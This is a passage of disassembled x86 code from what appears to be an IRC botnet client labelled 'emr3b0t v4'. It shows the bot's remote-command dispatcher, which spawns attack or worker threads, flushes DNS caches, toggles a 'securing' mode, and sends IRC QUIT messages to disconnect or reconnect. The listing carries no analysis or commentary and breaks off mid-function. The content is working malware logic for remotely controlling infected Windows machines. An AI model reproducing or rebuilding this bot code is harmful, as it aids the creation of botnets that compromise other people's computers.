		push	offset unk_44096C
		jmp	loc_404014
; ---------------------------------------------------------------------------

loc_403EE2:				; CODE XREF: sub_401C87+2269j
		push	32h
		call	dword_4F534C	; Sleep

loc_403EEA:				; CODE XREF: sub_401C87+2248j
		cmp	[ebp+var_36AC],	ebx
		jz	short loc_403EE2
		jmp	loc_404023
; ---------------------------------------------------------------------------

loc_403EF7:				; CODE XREF: sub_401C87+1AC2j
					; sub_401C87+1AD7j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403F16
		push	edi
		call	sub_41E710
		test	eax, eax
		pop	ecx
		jz	short loc_403F16
		push	edi
		call	sub_41E710
		pop	ecx
		jmp	short loc_403F1B
; ---------------------------------------------------------------------------

loc_403F16:				; CODE XREF: sub_401C87+2279j
					; sub_401C87+2284j
		mov	eax, dword_43F084

loc_403F1B:				; CODE XREF: sub_401C87+228Dj
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403F32
		lea	eax, [ebp+var_C0]

loc_403F32:				; CODE XREF: sub_401C87+22A3j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41EC30
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403F54
		mov	esi, offset byte_4E2F3A

loc_403F54:				; CODE XREF: sub_401C87+22C6j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41EC30
		push	[ebp+var_88]
		lea	eax, [ebp+var_19E4]
		push	80h
		push	eax
		call	sub_41EC30
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AEAD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_4409A8
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	9
		push	eax
		call	sub_40B691
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset sub_411349
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_404049
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4409E4

loc_404014:				; CODE XREF: sub_401C87+2256j
					; sub_401C87+4D76j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41EA60
		add	esp, 0Ch

loc_404023:				; CODE XREF: sub_401C87+226Bj
					; sub_401C87+23CAj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_402593
		push	ebx
		push	edi

loc_40402E:				; CODE XREF: sub_401C87+6638j
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_407165
; ---------------------------------------------------------------------------

loc_404041:				; CODE XREF: sub_401C87+23C8j
		push	32h
		call	dword_4F534C	; Sleep

loc_404049:				; CODE XREF: sub_401C87+237Fj
		cmp	[ebp+var_180C],	ebx
		jz	short loc_404041
		jmp	short loc_404023
; ---------------------------------------------------------------------------

loc_404053:				; CODE XREF: sub_401C87+1A98j
					; sub_401C87+1AADj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404066
		push	esi
		call	sub_41E710
		jmp	short loc_40406D
; ---------------------------------------------------------------------------

loc_404066:				; CODE XREF: sub_401C87+23D5j
		push	0Bh
		call	sub_40B8F2

loc_40406D:				; CODE XREF: sub_401C87+23DDj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409A67
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BFD2
		jmp	loc_404533
; ---------------------------------------------------------------------------

loc_40408D:				; CODE XREF: sub_401C87+1A6Ej
					; sub_401C87+1A83j
		mov	eax, dword_4E2FA4
		cmp	eax, ebx
		jz	short loc_4040B0
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_4040A9
		push	offset unk_440A20
		jmp	short loc_4040BB
; ---------------------------------------------------------------------------

loc_4040A9:				; CODE XREF: sub_401C87+2419j
		push	offset unk_440A44
		jmp	short loc_4040BB
; ---------------------------------------------------------------------------

loc_4040B0:				; CODE XREF: sub_401C87+240Dj
		push	offset unk_440A70
		lea	eax, [ebp+var_2C0]

loc_4040BB:				; CODE XREF: sub_401C87+2420j
					; sub_401C87+2427j ...
		push	200h
		push	eax
		call	sub_41EC30
		jmp	loc_406F1B
; ---------------------------------------------------------------------------

loc_4040CB:				; CODE XREF: sub_401C87+1A44j
					; sub_401C87+1A59j
		call	sub_40ADC9
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_4040E1
		push	offset unk_440A9C
		jmp	short loc_4040BB
; ---------------------------------------------------------------------------

loc_4040E1:				; CODE XREF: sub_401C87+2451j
		push	offset unk_440AC0
		jmp	short loc_4040BB
; ---------------------------------------------------------------------------

loc_4040E8:				; CODE XREF: sub_401C87+1A1Aj
					; sub_401C87+1A2Fj
		cmp	[ebp+var_8], ebx
		jnz	short loc_404107
		push	ebx
		push	[ebp+var_4]
		push	offset dword_440AEC
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 14h

loc_404107:				; CODE XREF: sub_401C87+2464j
		push	ebx
		push	[ebp+var_4]
		call	sub_418CAA
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		push	offset dword_440B04
		jmp	loc_404403
; ---------------------------------------------------------------------------

loc_404129:				; CODE XREF: sub_401C87+18AAj
					; sub_401C87+18BFj
		push	0Ah
		call	sub_40B8D3
		test	eax, eax
		pop	ecx
		jle	short loc_40413F
		push	offset unk_440B20
		jmp	loc_409869
; ---------------------------------------------------------------------------

loc_40413F:				; CODE XREF: sub_401C87+24ACj
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A8ED
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40415E
		push	offset unk_440B4C
		jmp	loc_409869
; ---------------------------------------------------------------------------

loc_40415E:				; CODE XREF: sub_401C87+24CBj
		push	offset unk_440B74
		jmp	loc_409869
; ---------------------------------------------------------------------------

loc_404168:				; CODE XREF: sub_401C87+1880j
					; sub_401C87+1895j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A9CC
		jmp	loc_402037
; ---------------------------------------------------------------------------

loc_404181:				; CODE XREF: sub_401C87+1856j
					; sub_401C87+186Bj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_417583
		jmp	loc_402037
; ---------------------------------------------------------------------------

loc_40419E:				; CODE XREF: sub_401C87+182Cj
					; sub_401C87+1841j
		or	edi, 0FFFFFFFFh
		call	dword_4F537C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_4041C7
		push	esi
		call	sub_41E710
		pop	ecx
		mov	edi, eax

loc_4041C7:				; CODE XREF: sub_401C87+2535j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_4041E0
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409A67

loc_4041E0:				; CODE XREF: sub_401C87+254Ej
		push	ebx
		call	sub_41B51B
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_440B94
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415A3C

loc_40421D:				; CODE XREF: sub_401C87+5F69j
		add	esp, 28h
		jmp	loc_409A67
; ---------------------------------------------------------------------------

loc_404225:				; CODE XREF: sub_401C87+1802j
					; sub_401C87+1817j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41638E
		lea	eax, [ebp+var_2C0]
		push	offset dword_440BAC
		push	eax
		call	sub_41EA60

loc_404247:				; CODE XREF: sub_401C87+6858j
		add	esp, 14h
		jmp	loc_407148
; ---------------------------------------------------------------------------

loc_40424F:				; CODE XREF: sub_401C87+17D8j
					; sub_401C87+17EDj
		push	27h
		call	sub_40B8D3
		test	eax, eax
		pop	ecx
		jle	short loc_404283
		cmp	[ebp+var_8], ebx
		jnz	loc_4076C4
		push	ebx
		push	[ebp+var_4]
		push	offset unk_440BCC
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75

loc_40427B:				; CODE XREF: sub_401C87+729Fj
		add	esp, 14h
		jmp	loc_4076C4
; ---------------------------------------------------------------------------

loc_404283:				; CODE XREF: sub_401C87+25D2j
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41EC30
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_4042E4
		push	esi
		push	offset aFull	; "full"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4042E4
		mov	[ebp+var_AA8], 1

loc_4042E4:				; CODE XREF: sub_401C87+2640j
					; sub_401C87+2651j
		lea	eax, [ebp+var_2C0]
		push	offset dword_440BF4
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	27h
		push	eax
		call	sub_40B691
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_41A574
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_404364
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_440C10
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		jmp	loc_40758A
; ---------------------------------------------------------------------------

loc_40435C:				; CODE XREF: sub_401C87+26E3j
		push	32h
		call	dword_4F534C	; Sleep

loc_404364:				; CODE XREF: sub_401C87+26B3j
		cmp	[ebp+var_A9C], ebx
		jz	short loc_40435C
		jmp	loc_40758A
; ---------------------------------------------------------------------------

loc_404371:				; CODE XREF: sub_401C87+17AEj
					; sub_401C87+17C3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404390
		push	ebx
		push	[ebp+var_4]
		push	offset dword_440C4C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 14h

loc_404390:				; CODE XREF: sub_401C87+26EDj
		push	[ebp+arg_4]
		call	dword_4E3120	; closesocket
		call	dword_4E2FE0	; WSACleanup
		call	sub_418EAE
		push	ebx
		call	dword_4F5338	; ExitProcess

loc_4043AB:				; CODE XREF: sub_401C87+1784j
					; sub_401C87+1799j
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B6C1
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		push	offset dword_440C68
		jmp	short loc_404403
; ---------------------------------------------------------------------------

loc_4043D6:				; CODE XREF: sub_401C87+175Aj
					; sub_401C87+176Fj
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B975
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		push	offset dword_440C84

loc_404403:				; CODE XREF: sub_401C87+249Dj
					; sub_401C87+274Dj
		call	sub_415A3C

loc_404408:				; CODE XREF: sub_401C87+6FE7j
		add	esp, 18h
		jmp	loc_409A67
; ---------------------------------------------------------------------------

loc_404410:				; CODE XREF: sub_401C87+1730j
					; sub_401C87+1745j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415B79
		jmp	loc_402037
; ---------------------------------------------------------------------------

loc_404429:				; CODE XREF: sub_401C87+1706j
					; sub_401C87+171Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_404468
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404468
		push	esi
		push	[ebp+var_C]
		call	sub_41EBB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_404468
		push	eax
		push	offset dword_440CA0
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41EC30
		add	esp, 10h

loc_404468:				; CODE XREF: sub_401C87+27ABj
					; sub_401C87+27B6j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41EC30
		mov	eax, [ebp+arg_4]
		push	offset dword_440CA4
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	25h
		push	eax
		call	sub_40B691
		add	esp, 20h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset sub_415BEC
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_40450B
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_440CBC
		jmp	loc_40220D
; ---------------------------------------------------------------------------

loc_404503:				; CODE XREF: sub_401C87+288Aj
		push	32h
		call	dword_4F534C	; Sleep

loc_40450B:				; CODE XREF: sub_401C87+2869j
		cmp	[ebp+var_1508],	ebx
		jz	short loc_404503
		jmp	loc_4076C4
; ---------------------------------------------------------------------------

loc_404518:				; CODE XREF: sub_401C87+16DCj
					; sub_401C87+16F1j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4159C4
		push	offset dword_440CF4
		call	sub_415A3C

loc_404533:				; CODE XREF: sub_401C87+2401j
		add	esp, 10h
		jmp	loc_409A67
; ---------------------------------------------------------------------------

loc_40453B:				; CODE XREF: sub_401C87+16B2j
					; sub_401C87+16C7j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41EC30
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_404595
		push	offset dword_440D0C
		push	esi
		call	sub_41F7E0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_40459B
; ---------------------------------------------------------------------------

loc_404595:				; CODE XREF: sub_401C87+28F2j
		mov	[ebp+var_B40], ebx

loc_40459B:				; CODE XREF: sub_401C87+290Cj
		lea	eax, [ebp+var_2C0]
		push	offset dword_440D10
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	28h
		push	eax
		call	sub_40B691
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_40B6FC
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_40461B
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_440D30

loc_4045FF:				; CODE XREF: sub_401C87+77EAj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		jmp	loc_406F3F
; ---------------------------------------------------------------------------

loc_404613:				; CODE XREF: sub_401C87+299Aj
		push	32h
		call	dword_4F534C	; Sleep

loc_40461B:				; CODE XREF: sub_401C87+296Aj
		cmp	[ebp+var_B34], ebx
		jz	short loc_404613
		jmp	loc_406F3F
; ---------------------------------------------------------------------------

loc_404628:				; CODE XREF: sub_401C87+1636j
					; sub_401C87+164Bj
		push	offset aDark	; "Dark"
		lea	eax, [ebp+var_2C0]
		push	offset dword_440D6C
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 20h
		jmp	loc_406F3F
; ---------------------------------------------------------------------------

loc_40465F:				; CODE XREF: sub_401C87+160Cj
					; sub_401C87+1621j
		push	dword_4E2DC4
		call	sub_41B51B
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_440D84
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 24h
		jmp	loc_406F3F
; ---------------------------------------------------------------------------

loc_40469D:				; CODE XREF: sub_401C87+15E2j
					; sub_401C87+15F7j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4046CF
		cmp	[ebp+var_C], ebx
		jz	short loc_4046DE
		push	esi
		push	[ebp+var_C]
		call	sub_41EBB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4046DE
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		add	esp, 0Ch
		jmp	short loc_4046DE
; ---------------------------------------------------------------------------

loc_4046CF:				; CODE XREF: sub_401C87+2A1Fj
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		pop	ecx
		pop	ecx

loc_4046DE:				; CODE XREF: sub_401C87+2A24j
					; sub_401C87+2A33j ...
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_409C2A
; ---------------------------------------------------------------------------

loc_4046E6:				; CODE XREF: sub_401C87+15B8j
					; sub_401C87+15CDj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		push	offset dword_440DE4
		call	sub_415A3C
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_409C2A
; ---------------------------------------------------------------------------

loc_404708:				; CODE XREF: sub_401C87+158Ej
					; sub_401C87+15A3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		push	offset dword_440E18
		call	sub_415A3C
		add	esp, 0Ch
		jmp	loc_4099D3
; ---------------------------------------------------------------------------

loc_404727:				; CODE XREF: sub_401C87+1564j
					; sub_401C87+1579j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BD5A
		jmp	loc_404AE3
; ---------------------------------------------------------------------------

loc_40473D:				; CODE XREF: sub_401C87+153Aj
					; sub_401C87+154Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BD06
		jmp	loc_404AE3
; ---------------------------------------------------------------------------

loc_404753:				; CODE XREF: sub_401C87+1510j
					; sub_401C87+1525j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BC9B
		jmp	loc_404AE3
; ---------------------------------------------------------------------------

loc_404769:				; CODE XREF: sub_401C87+14E6j
					; sub_401C87+14FBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BBCD
		jmp	loc_404AE3
; ---------------------------------------------------------------------------

loc_40477F:				; CODE XREF: sub_401C87+1441j
					; sub_401C87+1456j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_440E34
		push	offset dword_440E44
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_404797:				; CODE XREF: sub_401C87+1417j
					; sub_401C87+142Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_440E54
		push	offset dword_440E60
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_4047AF:				; CODE XREF: sub_401C87+1033j
					; sub_401C87+1048j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_4047CE
		push	edi
		call	sub_41E710
		test	eax, eax
		pop	ecx
		jz	short loc_4047CE
		push	edi
		call	sub_41E710
		pop	ecx
		jmp	short loc_4047D3
; ---------------------------------------------------------------------------

loc_4047CE:				; CODE XREF: sub_401C87+2B31j
					; sub_401C87+2B3Cj
		mov	eax, dword_43F078

loc_4047D3:				; CODE XREF: sub_401C87+2B45j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_4047F8
		push	esi

loc_4047E5:				; CODE XREF: sub_401C87+2B80j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41EC30
		add	esp, 0Ch
		jmp	short loc_40480F
; ---------------------------------------------------------------------------

loc_4047F8:				; CODE XREF: sub_401C87+2B5Bj
		cmp	[ebp+var_8FF], bl
		jz	short loc_404809
		lea	eax, [ebp+var_C0]
		push	eax
		jmp	short loc_4047E5
; ---------------------------------------------------------------------------

loc_404809:				; CODE XREF: sub_401C87+2B77j
		mov	[ebp+var_5A0], bl

loc_40480F:				; CODE XREF: sub_401C87+2B6Fj
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41EC30
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AEAD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_440E70
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	19h
		push	eax
		call	sub_40B691
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset sub_411AAE
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_4048C3
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset dword_440E98
		jmp	loc_40220D
; ---------------------------------------------------------------------------

loc_4048BB:				; CODE XREF: sub_401C87+2C42j
		push	32h
		call	dword_4F534C	; Sleep

loc_4048C3:				; CODE XREF: sub_401C87+2C21j
		cmp	[ebp+var_57C], ebx
		jz	short loc_4048BB
		jmp	loc_4076C4
; ---------------------------------------------------------------------------

loc_4048D0:				; CODE XREF: sub_401C87+FC9j
					; sub_401C87+FDEj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4048F0
		push	esi
		call	sub_41E710
		test	ax, ax
		pop	ecx
		jz	short loc_4048F0
		push	esi
		call	sub_41E710
		pop	ecx
		jmp	short loc_4048F6
; ---------------------------------------------------------------------------

loc_4048F0:				; CODE XREF: sub_401C87+2C52j
					; sub_401C87+2C5Ej
		mov	ax, word_43F088

loc_4048F6:				; CODE XREF: sub_401C87+2C67j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41EC30
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AEAD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_440ED4
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409C75
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	6
		push	eax
		call	sub_40B691
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset sub_40EE63
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_4049C8
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_440F00
		jmp	loc_40220D
; ---------------------------------------------------------------------------

loc_4049C0:				; CODE XREF: sub_401C87+2D47j
		push	32h
		call	dword_4F534C	; Sleep

loc_4049C8:				; CODE XREF: sub_401C87+2D26j
		cmp	[ebp+var_968], ebx
		jz	short loc_4049C0
		jmp	loc_4076C4
; ---------------------------------------------------------------------------

loc_4049D5:				; CODE XREF: sub_401C87+F75j
					; sub_401C87+F8Aj ...
		push	edi
		push	offset aSecure_0 ; "secure"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049FD
		push	edi
		push	offset aSec_0	; "sec"
		call	sub_41F7E0
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A07

loc_4049FD:				; CODE XREF: sub_401C87+2D5Dj
		mov	[ebp+var_A10], 1

loc_404A07:				; CODE XREF: sub_401C87+2D74j
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41EC30
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_404A4E
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_404A4E:				; CODE XREF: sub_401C87+2DC0j
		push	eax
		push	offset dword_440F64
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41EC30
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	22h
		push	eax
		call	sub_40B691
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_41AAA5
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_404AC5
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset dword_440F80
		jmp	loc_4085EB
; ---------------------------------------------------------------------------

loc_404ABD:				; CODE XREF: sub_401C87+2E44j
		push	32h
		call	dword_4F534C	; Sleep

loc_404AC5:				; CODE XREF: sub_401C87+2E23j
		cmp	[ebp+var_A04], ebx
		jz	short loc_404ABD
		jmp	loc_402593
; ---------------------------------------------------------------------------

loc_404AD2:				; CODE XREF: sub_401C87+F4Bj
					; sub_401C87+F60j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41B33E

loc_404AE3:				; CODE XREF: sub_401C87+2AB1j
					; sub_401C87+2AC7j ...
		add	esp, 0Ch
		jmp	loc_409A67
; ---------------------------------------------------------------------------

loc_404AEB:				; CODE XREF: sub_401C87+F21j
					; sub_401C87+F36j
		push	offset unk_440FC0
		jmp	loc_40649E
; ---------------------------------------------------------------------------

loc_404AF5:				; CODE XREF: sub_401C87+EF7j
					; sub_401C87+F0Cj
		push	offset aEmr3b0tV4 ; "emr3b0t v4"
		push	offset dword_441070
		jmp	loc_406F0F
; ---------------------------------------------------------------------------

loc_404B04:				; CODE XREF: sub_401C87+ECDj
					; sub_401C87+EE2j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404B60
		push	esi
		call	sub_41E710
		cmp	eax, ebx
		pop	ecx
		jl	short loc_404B55
		cmp	eax, 3
		jge	short loc_404B55
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		lea	esi, [ecx+edx]
		cmp	[esi], bl
		jz	short loc_404B4A
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_441080
		push	eax
		call	sub_41EA60
